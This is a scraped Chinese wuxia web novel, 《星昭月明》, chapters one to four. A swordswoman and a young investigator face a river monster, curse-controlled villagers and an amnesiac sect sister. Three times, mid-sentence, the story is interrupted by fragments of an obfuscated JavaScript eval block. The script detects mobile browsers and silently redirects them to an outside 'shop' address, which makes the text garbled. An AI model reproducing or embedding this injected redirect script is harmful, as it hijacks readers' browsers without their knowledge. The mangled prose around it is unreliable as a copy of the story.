《星昭月明》 1. 第一章 年少江湖行 巍巍昆仑,白雪皑皑。杉林披着薄雪,与冻云一并融入惨白的天幕。天地一片茫茫,唯有峰顶一院正红楼宇分外醒目。 后院之中,一众女弟子围在演武场外,人群正中,一道清影飞掠而起,翻掌击向对面身量高挑的少女。出掌的女子已有些年纪,约莫四十上下。掌中劲力十足,携着刺骨寒风,直逼少女胸口。 少女闪避不及,被这掌风掀翻落地,翻滚着跌出老远。一身青衫裹满身碎雪,才勉强支棱着坐起,“呃”地一声呕出一大口鲜血。 中年女子翩然落地,居高临下朝那少女望来,冷然发问:“沈星遥,你还不认错?” “我不曾犯错。”少女轻笑抬头,眉梢盖了薄薄一层雪,被染得半白。 她双目直视那中年女子,眼中毫无惧色,略略昂首,凛然质问:“为何要认?” “你自负嚣张,分明输了比武,却胡搅蛮缠。”中年女子一步步朝她逼近,一字一句道:“不知尊师重道,比试结果未能如愿,便以叛出师门威胁师长重判输赢。如此贪功好利,还敢说无错?”言罢,垫步欺身而来,一掌斜切沈星遥左肩。 沈星遥勉力支撑着身子,旋身错步,避开中年女子掌风,刚一站稳身子,又见她一掌拍来,只得匆忙闪避,却还是受了她半掌,右腿一个踉跄,接连退开三步,方稳住身形。 几丝碎发从她额角散落,裹着莹白的雪籽,在风中颤摇。 “小遥!”人群之中,另一身量纤细的弟子终于按捺不住,满面焦灼,用力拨开人群,三步并作两步奔至沈星遥跟前,在那中年女子跟前跪倒。“兰瑛恳请掌门饶恕星遥。不论此事因果,她的本意,定不是为了冲撞掌门师尊。她已受您数掌,再这么下去,恐怕……” “姐姐,你退后。”沈星遥十分平静地打断她的话,将挡在跟前的沈兰瑛拨到一旁。 “我未输比武,只是遭人偷袭。”沈星遥的话音平稳而有力,没有丝毫波动,“掌门明知有人暗中使坏,却视若无睹,听之任之,给我冠上这‘急功近利’的无妄之罪。” “依琼山派门规,凡脱离师门者,能在掌门手下过得百招,便可自行离去。”沈星遥继续说道,“我遵门规行事,何来要挟之说?” “沈星遥!”中年女子高声怒喝。 “洛掌门既已认定我目无尊长,贪功好利,我又怎配留在雪山碍您的眼?”沈星遥语调始终平静,“星遥离开昆仑,不也是成全了您吗?” 中年女子闻言,眉心陡地沉下,脸色越发难看。 沈星遥拈指一算,唇角微扬,直视中年女子双目,眼中全无惧意:“还差十招,烦请洛掌门出手。” “冥顽不灵!”中年女子怒极,当即纵步挥掌,朝她头顶拍下…… 场外冷杉被风吹动,摇落一地雾凇,现出本来颜色。细细的枝叶根根分明,是爽朗的青翠,再大的雪,也掩盖不住…… 梦里冰雪化冻。梦外晨光熹微,暖阳入室,照得床榻上的少女睁开了眼。 沈星遥坐起身来,舒展双臂。明艳的面庞沐着灿金的光,勾勒出已褪去稚气的面庞,一双眸子依旧明净透亮。 她自脱离琼山派,已有三年光景。一千多个日日夜夜,辗转天涯,始终未让这双眼蒙上风霜。 她翻身下床,抓起一旁案头那只轻飘飘的银囊晃了晃,随手挂在腰间,转身推门下楼,走出客舍,直往城郊而去。 城外玉峰山脚,碧水环绕青山。苍岚岫烟映入水波,于青碧间浮着一丝朦胧,愈显神秘幽静。 谁又能想到,曾几何时,这座山头曾是为江湖中人所不齿的魔道天玄教的旧地? 江湖传言,十九年前,天玄教四处作乱,各大门派齐聚此处,联手将其剿灭。此战伤亡惨重,诸多大派从此凋敝,不复昔日盛景,天玄教亦从此销声匿迹。 而这曾经令人望而生畏的凶险之地,也变回了一片再普通不过的山头。 此间荒僻,从早间至正午一直无人经过。沈星遥坐在河边茶棚里,听着空落落的风声,手里端的茶水渐渐由温转凉,终于远远看见有人迎面走来。 来人是个少年,身长鹤立,肤如琢玉,面颜姣美却不失俊逸,着一袭墨绿竹叶暗纹圆领窄袖长衫,用料考究,愈显挺拔颀长。 沈星遥不经意多看了两眼。 那少年觉察有人盯着自己,当即扭头望来。 斜风轻漾,拂起少女额角细碎的发丝,一双剪水瞳仁,清冷皓然,明净如月光。少年看得愣了一瞬,唇角不自觉扬起,冲她露出微笑。 他走到渡口,屈膝蹲在河边唯一的一条渡船前,向船家询问过河的价格。沈星遥见状,即刻起身付了茶钱,走上前去,恰见那少年看着船夫伸出的五根手指,露出诧异之色。 “要这么多?”少年挑眉道,“同样的路程,我从东面那条河过来时,可不是这个价。” “公子你可不能这么说话,我们靠山吃山,靠水吃水,哪有坑人的道理?这条水路走起来可不容易,一会儿公子上了船,自然就知道了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150347|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 少年闻言目露好奇,正待问话,一旁的沈星遥却先开了口:“不如我出一半,与公子同乘此船,这样可好?” “姑娘也要过河?”少年扭头,目光恰与她相对,眸底飞快掠过一丝好奇,又夹带着些许笑意。 “正是,”沈星遥莞尔,“不知兄台可否愿意?” 少年欣然点头,起身走到船舷一侧,正待上船,却似想到何事,向旁错开半步,让沈星遥先上船。沈星遥看了看他,也不说话,然而才踏上船板,便觉脚下晃动不止,一时之间,脸色惊变。 她不识水性,却不便在外人面前露怯。这不经意间流露的谨慎被那少年看穿,于是折下右袖回腕覆盖掌心,伸手支撑在她抬起的胳膊肘关节处,柔声提醒:“当心。” 沈星遥晃晃悠悠上了船,回头冲他道了声谢。 “不必客气。”少年展颜一笑,随即折好衣袖走上了船。 沈星遥不敢在船头久待,一上船便坐进了舱内,谁知这船夫不爱干净,在船舱里堆了许多杂物,不时发出异味。过了一会儿,她实在受不了这气味,只得起身跑了出来,蹲在船头干呕。 “你看见什么了?”少年好奇不已,回声掀开舱帘看了一眼,便立刻满脸嫌弃地缩回脖子,道,“这船家也真是……” “也不全怪这些,”沈星遥苦笑摇头,“我生在北地,不习惯坐船。让兄台见笑了。” “这又没什么,”少年笑道,“也不是生在南方便个个都会撑船游水,凑巧不适应罢了。” 他说完这话,便去船舱内找了张凳子,拿到船头放下,示意她坐下。 “要是觉得头晕,最好不要逆着船行方向走动,坐下歇一会儿,很快就到了。”少年说道。 沈星遥略一点头,随即问道:“公子可是渝州人士?该如何称呼?” “我从金陵来。”少年道,“敝姓凌,名无非。无非无是。好个闲居士。” 末了,淡淡一笑,温声问道:“姑娘你呢?” “我姓沈……” 她的话才说到一半。船身突然发出剧烈的晃动。沈星遥本就站不稳身子,受此震荡,直接一头往船舷外栽去。 凌无非见状,赶忙上前搀扶。沈星遥晕晕乎乎的,也未留意到二人已离得很近,足尖都快碰到一起。 船家回头提醒道:“二位当心别落到水里,要是惊扰了鱼仙人,可就是有去无回咯!” “鱼仙人?”沈星遥闻言一愣,随即问道,“什么是鱼仙人?” 2. 第二章 轻舟入深川 “玉峰山里很多年前住过神仙,说是能带着村里有灵性的小娃儿和姑娘们一起成仙。”船家道,“后来有一天,外边来了很多江湖人,说他们不是神仙,而是鬼怪,要取他们性命。” “那天下了很大的雨,一条比货船还大的怪鱼从河里跳出来,吞了许多外来人和村民。大伙都说,是那些外来人惊扰了水里的鱼仙人,这才遭了报应。” “那你们可有谁见过这‘鱼仙人?’”凌无非问道。 “见过的人,不是死了便是疯了。听人说,那天以后,连着半个月,河水都是红的。”船家摇摇头,叹了口气,道,“总之留神别摔下去。在咱们这儿,从来就没有掉下过这条河的人还能活着上岸。” 听完这话,沈星遥本还有话想问,然而脚下船体又是一阵没来由的震荡,晃得她头昏眼花,只能在凌无非的搀扶下,重新坐下。凌无非扶稳凳子,垂眸看了一眼河面。 河水混浊幽暗,深处隐隐划过一道黑迹,似鱼类的背鳍,长得看不见尽头。 “看来这船家不是危言耸听。”凌无非垂眸望着那道黑迹在水中慢慢消失,若有所思道,“我还真未见过哪条河里的鱼能大得如此离谱。” 沈星遥眉心一沉,再次低头朝水中望去,还没看清水中情形,脚下便传来一声巨响。她毫无准备,直接跌倒,整个人撞入凌无非怀中。 河水高高溅起,落了二人满头满身。 凌无非下意识地伸臂护住她。因船身震荡,脚下本就不稳,加上她这一撞,直接向后摔倒,结结实实跌坐在船板上。 再一抬头,二人鼻尖距离,不过咫尺,连呼出的气息都能感受得清清楚楚,身子立时僵住,下意识屏住了呼吸。 沈星遥眨了眨眼,睫毛上沾着的水花随之抖落,清澈的瞳底浮起一丝疑惑,映照出眼前人错愕不安的面容。 小舟另一侧,传来船家的话音:“二位当心,鱼仙人来咯!” 船家话音刚落,便从小舟一侧传来巨响。乘船的二人不约而同扭头,只瞧见一道水柱冲天而起,如倒流的瀑布,恍若苍龙吸水。 水柱很快退去,溅起的浪涛哗啦啦便往船上扑。沈星遥满心疑窦,愣是挣扎着来到船沿,朝水下望去。 她的目光穿过浑浊的河水,模模糊糊看见水底藏着一颗拳头大小的猩红球体,形状像极了鱼类的瞳仁,躲在水深处,虎视眈眈。 沈星遥心头一悸,本能向后一缩,谁知脚下船身又被波涛掀起,向前倾斜,身体顿时不受控制,一头往河里栽去。 在这千钧一发之际,一只有力的手从她身后伸了过来,一把扣住她的胳膊。 此时此刻,她的脸颊离水面,仅剩寸余之距,浮动的水花从她鼻尖漫过,夹带着浓浓的腥气。 水中那只猩红的鱼眼,仿佛已近在咫尺。 凌无非见她怔住,赶忙将人拉起。 沈星遥神魂甫定,抬眼一看,恰与身后的少年四目相对。 而凌无非眼里,也多了一丝不易察觉的拘谨,小声对她问道:“没事吧?” 沈星遥摇了摇头。 河面波澜愈加汹涌,似要将这小舟掀翻。沈星遥被晃得头昏脑涨,下意识伏低身子,拽在凌无非小臂上的手,再也不敢松开半分。 凌无非有所察觉,低头看了一眼,却抿上了唇,不再说话。 却在这时,一声巨响从船底传来。沈、凌二人几乎同时扭头,刚好望见一片鱼鳍浮出水面,倏地从眼前晃过,又沉了下去。 “快,快跪下,”船家脸色惊变,“必是你们来此,触怒了鱼仙人,还不快跪下求饶,求它原谅?” 沈星遥看也不看那船家一眼,一手仍旧扶在凌无非胳膊上,另一手撩开他身后船舱舱帘,摸出一把鱼叉。 “我勒个乖乖,”船夫骇得面无人色,“你这是要干什么?使不得啊……” 凌无非见她这般,只担心她会落水,正待上前帮忙,却又看见那片鱼鳍浮出前方水面,朝船头冲来。 沈星遥当即松了扶着他的手,转身跪在船头,双手合握鱼叉,用力往水下插去。 滚滚水流下,隐约传出锐器刺破皮肉的声音,顷刻间蔓延开一片猩红。 “你们……你们……”船家怔怔指着她,骇得脸色煞白,竟说不住一句完整的话。 船身再一次发出剧烈的震荡。凌无非见状,赶忙抢上前去,扶稳沈星遥摇摇晃晃的身子,帮着她一道将沾满鲜血的鱼叉拔了出来。 那船家也顾不得其他,一长蒿戳入水中,尽力维持着船身平稳。 “还要折腾是吗?”沈星遥一咬牙,再次高举鱼叉刺入水中。 猩红的河水中,那道黑迹潜入深处,掉了个头,在沈星遥第二次出手落空之后,飞快游走。 方才还波糖汹涌的河面,终于渐渐恢复了平静。 到这一刻,船上三人都被溅了满身河水,别提有狼狈。 沈星遥额前散下两缕碎发,湿哒哒地贴在额角。她双手脱力,头脑眩晕欲吐,当即扔了鱼叉,瘫坐船头,大口喘息起来。 “你们呐……你们这下可真是得罪鱼仙人啦!”船家皱着眉,直冲二人摇头。 “您就不必担心这些了,”凌无非冲他说道,“就算得罪,也是我们这些外乡人的事,决计碍不着您。” 说完,他又扭头看了沈星遥一眼,却见她已趴在了放在船头的矮凳上,轻阖双目,缓慢调整起呼吸。 凌无非长舒了口气,双手扶着船板,仰面望向天空,但见浮云悠悠,飞鸟掠过长空,好一派祥和之景。 仿佛方才惊心动魄的遭遇,从来没发生过一般。 经过大半个时辰的颠簸,小舟终于到了对岸。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150348|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 凌无非搀着沈星遥走下河岸,却听得船家在身后说道:“二位,你们已得罪了鱼仙人,可切莫再得罪山里的神明啊!” “怎么就你们这儿神仙多?我在别处便从没见过。”沈星遥说完这话,已然将凌无非扶在她胳膊上的手推到了一旁。 船家张了张口,欲言又止,当即撑船离去。 沈星遥扭头看了一眼渐渐远去的小舟,眉心微微一蹙,也不多说一句话,当下迈开步子,向林深处走去。 “沈姑娘?”凌无非见她身子仍有些晃悠,下意识唤了一声,眼中隐有担忧。 “就此别过吧。”沈星遥稍稍侧首,对他略一点头。一路扶着树,缓步蹒跚走远,背影很快便消失在林间。 野径深处,老树茂密,阳光被林叶分割成无数半点,照在沈星遥衣裙上,由明转暗,又渐渐淡去。 不知不觉,夕阳已然落山。霞光散尽,倦鸟归林,一弯月牙升上中天,洒下满地银霜,一方两人高的石碑出现在了沈星遥眼前。 石碑陈旧,布满龟裂的纹路,上面的字迹也都已受损,模糊不堪,一个字也看不清。 她好奇走上前去,仔细打量那方石碑,忽觉脚下踩到一处凸起,低头一看,竟是一把断剑。 剑的成色很新,刃口锋利,一丝锈迹也没有,与这荒地里零落的其他已生锈朽烂的兵器碎片完全不同。 沈星遥本待将它丢开,却觉剑柄握在手中,有种似曾相识之感,于是仔细查看剑刃,用指节比对一番,身子猛地僵了一瞬。 此剑竟是出自琼山派之手。也就是说,她师门中人,也在这山谷之中。 沈星遥大惊,右足向后退开半步,却陡地向下沉了半寸,不觉眉心一动,转身蹲下查看,才发现那下沉之处,是被荒草掩盖的一块三寸见方的石板。 她用断剑割开石板周围的野草,屈指在地面轻轻叩了几下,听见石板下方传来空旷的回声。 有密室? 沈星遥眼前一亮,立刻按动方才踩到的石板,却不知怎的,那块石板竟纹丝不动。再次叩击,听到的却是沉闷的声响。 不过顷刻工夫,下方空间,便由空心变作实心。 这究竟是什么鬼地方? 沈星遥不自觉抬起头来,望向远方。 夜间的山谷一片漆黑,峰峦层叠,绵亘至远方,由深至浅,渐渐模糊,融入暮色里。 她这才恍惚想起,那个与他同船渡河的少年…… 殊不知,就在沈星遥进山以后,凌无非也从另一条小道,来到了山谷中。 他初来此地,对山中道路并不熟悉,凭着罗盘指引,正找寻着方向,却在经过一片灌木丛时,忽然听见说话声,探头看去,只瞧见一老一少两个男人争执不休。 一旁的草地上,还躺着一名相貌清丽,昏迷不醒的少女。 3. 第三章 烟水微茫芒 她穿着一身没有任何图案纹样的月白衣裙,虽显朴素,用料却看得出考究。 而那两个男人,却是粗犷野蛮,丝毫不修边幅,瞧着像是附近的山民,与那少女毫不匹配。 “是我先发现她的,就该老子先来!” 先开口的是那个年轻男人,一脸得意忘形的丑恶嘴脸,一面解着裤带,一面朝那躺在地上的少女走去,却被另一个中年男人蛮横地拖回原地,一把甩到一旁。 “就你小子,也不撒泡尿照照自己?你先发现的,那又怎样?”中年男人急吼吼道,“老子比你大十几岁,多少年没见过女人了?好不容易遇上一个,还能让你给抢了先?给我滚一边去!” 凌无非见势不对,当即折下几片绿叶,扬手抛了出去。柔软绿叶受劲风激荡,化身利刃,从那两个男人与少女中间的空隙穿过,割断几丛野草后,径自扎入泥地。 “谁?”那解裤带的男子动作一僵,还没来得及反应过来,胸口便挨了重重一掌,“哎呦”一声向后飞出,又摔在地上。 那两个粗衣男人都被吓了一跳,再抬眼时,才发现眼前多了一人。 “你谁呀?”那个挨了打的中年汉子爬起身来退后两步,冲凌无非喝道,“别坏了大爷好事!” 凌无非不言,走到那少女身旁蹲下,抬手探了探那少女鼻息,确认气息平稳,方瞥了那两个男人一眼,嗤笑一声道:“倒还理直气壮,当真是上不得台面。” “臭小子,先来后到懂不懂?”中年汉子以己度人,满脑污秽,只认定凌无非与他们所怀目的相同,当即上前一步,挺直腰板,气势汹汹道,“老子先看见的,这就是老子的媳妇了,还不滚开?” “这算什么道理?路上捡个姑娘,也不问她同不同意,便敢胡作非为?”凌无非不禁笑出声来,“就你这模样,人凭什么同你走?凭你能喘气出声,比别人缺根筋吗?” “我说你这人怎么这么多事?”另一个没挨打的年轻汉子还没亲身体会到凌无非的身手,见他模样生得秀美,手中也无兵刃,便全然不放在眼里,嘴里嘀咕了一声“滚一边去”,便上前伸手想把人推开,然而下一刻便被掐中脉门,反手一拧。 “哇呀呀……”那年轻汉子吃痛,四肢都缩在了一起。 一旁的中年汉子瞳孔急剧一缩,转身就跑。 “哎哎!二叔你别……”年轻汉子吓得直冒汗,本想唤住那人,小腿却挨了凌无非大力一踢,当即跪在地上。 “说吧,这姑娘是何来历?你们又为何会出现在此?”凌无非松开手,低声喝问。 “少侠饶命——”那汉子害怕不已,当即朝他重重叩了一个响头,“我们就是在这瞎转悠,碰巧看见这丫头晕倒在山里,就想……” “说实话,”凌无非道,“若是撒谎,现在就把你从山上扔下去!” 汉子一听这话,下意识跪正了姿态:“不不不,我……我都说,都说……” “这村子……在这深山里,早就没几个女人了,村里人都打着光棍,想找个媳妇都找不到。这不,前几天隔壁二狗上山砍柴,说看到有个女人进了山里,我同我家二叔就……这不想着……想着……” “只是如此?”凌无非听罢,眉心微沉,回头看了一眼倒在地上的少女,忽然发现她食指与拇指间生了一层厚茧,不禁愣了一愣。 这女子,似乎会武。 “也就是说,你看见这姑娘的时候,她便已经晕过去了?”凌无非仍旧沉着脸,对那厮问道。 “对……对对对……”年轻汉子连连点头。 凌无非冷哼一声,抬腿直接在那厮背后狠踹一脚,沉声低喝:“滚!” 他虽生得俊秀,嗓音却低沉有力。此话一出,直接吓得那年轻汉子身躯一震,当即脚底抹油溜了。 凌无非懒得多看他一眼,而是转身走到那昏迷的少女跟前,蹲身查看情形。 少女体态并不娇弱,鞋底脚尖处略微薄于后跟,显然是用惯了轻功的,加上手指间的茧,也是惯常使用兵器的痕迹,对付刚才那两人应当绰绰有余。 也就是说,致她昏厥之人,必然不是刚才所见那两个光棍。 那么,还会有谁呢? 凌无非百思不得其解,然而男女有别,又不便触碰那女子,只好就近找了处水源,用林中阔叶取了些水来,灌入那少女口中。 可直到日落西山,也未见她转醒。 凌无非愈觉此间诡异,起身四处张望,却忽然听得耳边传来“嗖”的一声响,本能闪身避过,扭头一看,只瞧见月光之下,一道极细的银芒,倏地风中穿过,消失在昏暗的天色里。 “谁?”凌无非眉心一沉,高声喝问。 话音落地,却无回音,只有风声萧索。 一枚银针裹着风声而来,与他擦身而过,直奔那名昏迷的少女。 凌无非见状,俯身探手一捞,在银针离她眉心仅余毫厘之际截下,将之震落在地。 与此同时,数道黑影倏地从野草丛中窜起,如野兽一般发出嘶吼,朝二人扑了过来。 他回身接下一掌,其随即侧身屈臂,以肘重击此人胸口,将那人身子击飞出去,劲力交会之际,却觉出一丝怪异—— 这帮蒙面人筋骨松垮,体质虚弱,丝毫不像习武出身。 然而他们所用的招式,却都有模有样,一招一式中所透出的力道,也强得惊人。 凌无非旋身错步,虚晃一招,骗得其中一人欺身上前,以迅雷不及掩耳之势,飞身跃起,扬手将那厮蒙面的方巾撕下,只见这厮气息虚浮,一身赘肉,犹如患了癔症一般,两眼空洞无神。 “这是哪儿……你谁啊?” 凌无非听到突如其来的问话,微微偏头一瞥,只见那少女不知何时已清醒过来,茫茫然坐在原地,满脸错愕。 “你们……都是什么人?”少女自顾自起身,看了看他,又低头看了看自己。 “姑娘不知这是何处?”凌无非不解问完,旋即振臂架开一名迎面扑来的蒙面人。 少女愈加茫然,摇摇头道,“不知道……我是谁啊?” 这时,一名蒙面人朝她扑了过去。少女下意识抬腿,当胸一踹,将之踢飞在地。 她竟连自己的名字都不知道? 凌无非眉心微沉,正待开口,却听到口哨声响,几名蒙面人的攻势也越发劲急,迫得他无暇他顾。 少女错愕起身,旋身后跃,仰身避过一人掌击,顺势揭下那人面巾,见那厮一脸空茫之状,疑虑陡增:“这些人到底是怎么回事?你又是从哪来的?” 可凌无非却似乎并未听见她的话,而是兀自喃喃:“天玄教……莫非是傀儡咒?” 被少女摘了面巾的山民两眼一直,身形扭成一个古怪的弧度,连发数掌攻她面门。少女闪身疾退,冲凌无非大喊:“你刚刚说什么?” “先离开这,有空再同你解释。” 凌无非言罢,足尖轻点地面,凌空跃起,向后翻身,掌心向下扣在其中一人头顶,倒旋踢开数名黑衣傀儡,翻身向上一提,直接将按在手底那人扔了出去,稳稳落在地面。 却在这时,他听见身后又传来几声细碎的声响,却并非从一处发出,而是来自两个截然不同的方向。 凌无非一咬牙,当即旋身避过从左侧而来直冲他颈项要害而来的那几枚银针。 在他眼前,还有一柄飞刀,离他心口只余半尺,此时再退,已然不及。 凌无非眉心一动,只得抬起左臂挡格,硬接下飞刀。身形也受这力道反冲推出,踉跄退开半步。 银针落入草丛。凌无非淡定看了一眼扎在胳膊上的飞刀,疾点伤口周围穴道,两指捏住刀柄,面无表情拔了出来,随手扔在地上。 伤口溅出几滴鲜血,正沾在他唇边。 少女见状,正待上前,却被一名傀儡悄然近身,一把扼住咽喉。 “有趣,”一个女人的声音传来,“反应还真够快的,可惜刀中无毒。不然,你此刻已经死了。” “鬼鬼祟祟只会偷袭,本事不大,口气倒不小。怎不现身说话?”凌无非随手抹去唇角血迹,沉声喝问。 一个穿着黑色斗篷的身影翩然走来,帽檐压得很低,几乎把整张脸都给盖住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少女看得一愣。凌无非却并未放过这空当,振臂激荡起劲风,将那些银针震落,随即一把拎起少女颈后衣衫,飞身跃出“网”外,稳稳落地。 “你们竟然还有帮手?”那女人吃了一惊,话音刚落,便瞧见那断剑转了方向,直逼她心口要害而来,便忙撤了招式,退出数尺开外。 那黑衣女人的同伴也收回了长鞭,足尖点地飞掠而起,疾纵向谷外深林,飞也似地消失在夜色里。 那断剑也停止向前,剑柄在上,断刃方向则向下垂下,悬在了半空中,片刻之后,倏地一动,凭空向后缩了回去。 一个模糊的人影,出现在断剑缩回的方位。 “谁?”黑衣女人惊诧不已,当即发出一声高呼。 随着一阵轻且平稳的脚步声,一位少女从黑暗中走来,出现在三人视线之中。 “沈姑娘?”凌无非看清来人身影,不禁愕然。 沈星遥收起绕在短剑剑格处的发丝,好似没听到他的话,目光望向黑衣女人,眼底透出凌厉之色。 “你……”黑衣女人看清她的模样,身子僵了一瞬:“不……不可能……” “破了你的阵法,便是不可能?”沈星遥唇角微挑,神情颇为不屑,当即提起断剑,纵步飞身,直刺黑衣女面门。 那厮仓皇后退,踉跄避开她招式,口中道了声“该死”,再不敢恋战,转身疾纵逃远。随着她的背影消失在夜色当中,那些被傀儡咒操控的山民也都应声倒在了地上。 沈星遥所用本就是虚招,并无穷追猛打之意,见她逃走,即刻收势,回头俯身仔细查看倒地的山民。 “为何不追?”少女不解。 “此人底细我们都不知晓,追上去,万一回不来呢?”沈星遥确认山民性命无忧,方站起身来,走到那失忆的少女跟前,眉头紧锁,问道,“阿菀,你怎么会在这种地方?” “你认得她?” “你认得我?” 凌无非与那少女几乎同时开口。 4. 第四章 意气少年梦 “说什么傻话?”沈星遥望着那名失忆的少女,仔细端详片刻,终于意识到了不对劲,“阿菀你……怎么回事?” “我……”少女看了看沈星遥,两手一摊,道,“你……你刚才唤我什么?” “我叫沈星遥。你叫徐菀,曾是我同门不同师承的师妹。”沈星遥眉头紧锁,“这些你都不记得了?” 徐菀怔怔点头。 沈星遥诧异不已,满目狐疑转向凌无非。 “不是我……”凌无非下意识摆手,“适才……” “我不是那个意思,”沈星遥见起了误会,立刻摇头道,“只是想问问。你见到阿菀时,是什么样的情景?” 凌无非怔怔“哦”了一声,这才回过味来,不自觉避开她的目光,搓了搓鼻尖,解释说道:“我本也是为调查天玄教之事而来,恰好撞见徐姑娘晕倒在野外,险些被山民掳走。” “掳走?”沈星遥看了一眼倒在地上的那些山民,“是他们?” “那倒不是,”凌无非想了想,道,“这些山坳里的村子,大多闭锁,迂腐不自知,为求劳力充足、后继香火,常会溺毙女婴,只留下男丁。日久天长,村子里便没有女人了。” 沈星遥隐约听明白了他的话,不由嗤笑道:“这么喜欢阳刚之气,就让男人和男人成亲好了,还想拖阿菀下水?混账东西。” 然而徐菀却仍旧懵懂,她在琼山派多年,一心习武,不闻窗外事,下山历练也没有多少时日,又失去了大半记忆,对这世俗中许多不堪入目的龌龊事,可谓一窍不通。 她挠了挠头,仍旧没听明白二人的话:“村里没有女人,又不打算要女人劳作,他们抓我干什么?” “他们抓你不是为了劳作,而是……”凌无非自觉许多话说出口实在龌龊,下意识避开她的目光,不再吭声。 “罢了,”沈星遥摇了摇头,上前几步,牵过徐菀的胳膊一把拉到跟前,上下仔细打量一番,摇头叹道,“这下麻烦了。昆仑山距此数千里,你到这来,必有原因……偏偏还把前因后果都忘得干干净净。” “昆仑山?”凌无非听到这话,一时诧异,不由瞪大双眼,“二位……是琼山派的人?” “阿菀还是,我却不是了。”沈星遥道。 凌无非略一愣神,仔细打量二人一番,目光却不自觉在沈星遥身上多停留了一会儿。 徐菀听得一头雾水,当下拉过沈星遥问道:“那……师……师姐?琼山派又是什么地方?你到这里,是来找我的吗?” “很不巧,不是,”沈星遥摇头,淡淡说道,“我在三年前便已脱离师门,四处游历。这回也只是因为遇见一些怪事,才会到这儿来,谁知碰巧遇见了你。” “什么怪事?”徐菀好奇发问。 “前些日子,我在秦州遇见一个孩子,和刚才那些人一样,不知被何物操控,与传闻中消失已久的天玄教,似乎有些关联。” 沈星遥道:“我被门派驱逐,这几年四处走动,对这些江湖秘闻有些兴趣。听闻天玄教旧址在此,就顺道过来看看,谁知却捡到了这把剑。”言罢,便将手中的断剑交给徐菀。 “师姐的意思是……这是……我的剑?”徐菀接过断剑,仔细查看一番,越发感到困惑,“没什么特别啊……” “琼山派打造的剑,薄三分,坚三分,与寻常兵器不同。”沈星遥道。 “可是……不对啊,师姐你说遭受门派驱逐,还……”徐菀话到一半,忽然“咦”了一声,好奇问道,“你瞧着很面善,发现异样,还专程留下救我,怎么也不像是会违规逾矩之人,为何会脱离师门?” “此事说来话长,”沈星遥淡淡道,“个中详由,等离开这儿以后,我再同你慢慢说。” 言罢,她将目光转向一旁的凌无非,快速打量一眼,忽然开口问道:“我记得凌少侠说过,你是从金陵而来?方才听你说,来此是为调查旧事?” 凌无非略一颔首。 “所以,你是鸣风堂的人?” 凌无非闻言,微微一愣,眼中不自觉浮起一抹好奇之色。 金陵鸣风堂,以查探江湖之中的老旧秘闻,或是奇诡之事闻名天下。江湖中人,寻人探事,皆以重金往此处投石,寻求答案。 而琼山派在昆仑山中隐逸百年,几乎不与外界往来,她竟然也知道这些? 他正疑惑着,却被徐菀突然的问话打断:“我怎么越来越听不明白了?” 徐菀看了一眼凌无非,蹙眉思索片刻,越发不解:“为何你认得我师姐,却不认得我?” “今日进山,我与他同乘一条船。一面之缘而已。”沈星遥说完,便即拉上徐菀的手,快步走开。 凌无非立在原地,望着二人背影,略一蹙眉,沉思片刻方抬腿跟上。 深山寂夜,山脚河畔早无舟楫,附近又无桥梁或是其他可绕行之路,是以三人只能坐在离河畔不远的一处凉亭内,暂作歇息。 徐菀记忆尽失,对师门之事仍有许多疑问,出于无聊,便坐在沈星遥身旁,拉着她问东问西。 至于凌无非,身为外人,他当然知道偷听墙根乃是小人之举,便只是坐在一旁闭目入定,对二人的对话充耳不闻。 “什么?”徐菀听到一半,忽然失声惊呼,“你说你比武输给了我?怎么可能?” 一只乌鸦从亭前飞过,发出沙哑的叫唤。沈星遥的思绪,也被这叫声打断,顿了片刻,方捋清思绪,将前因后果对她娓娓道来…… 三年前,昆仑山巅,飞雪连天。 依琼山派门规,新入门的弟子都会分派到沧海、扶摇、流熙、明玉四殿之中,随各殿镇殿使习武。 在此之外,每隔七年的九月初一,朝华殿都会举行一次弟子甄选比武,由掌门亲自主持。门内所有满十二岁的弟子皆可参加比试,择当中最优之人,收入朝华殿中,由掌门亲自传道授艺。 那一年,一路过关斩将,参与最终那场比试的二人,便是分属扶摇、流熙二殿的沈星遥与徐菀。 二人所使兵器皆为长剑。点刺削斩间,携落雪飘飞,如玉屑零落。沈星遥身关一拧,避开徐菀斜挑而来的剑势,身形陡地 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“一上午都在参加比试,体力有所不支,也是情有可原。”洛寒衣道,“阿菀一向身强体健,这场比武能够胜出,原就是情理之中的事。” “不是这样的,掌门!”徐菀指着地上那滩碎雪,道,“刚才的事肯定有鬼,沈师姐武功一向比我好,她……” “阿菀,”洛寒衣和蔼笑道,“昆仑山上遍地都是雪,你指着地上的积雪说有人偷袭,是想说明什么?” “正是因为漫山遍野都是积雪,对方才会以雪为暗器,免得引人怀疑。”沈星遥道,“掌门这么说,到底是想包庇谁?” 瞧着场上突然生出的变故,琼山派一众弟子面面相觑,不约而同流露出或多或少的困惑或是猜疑的神色。 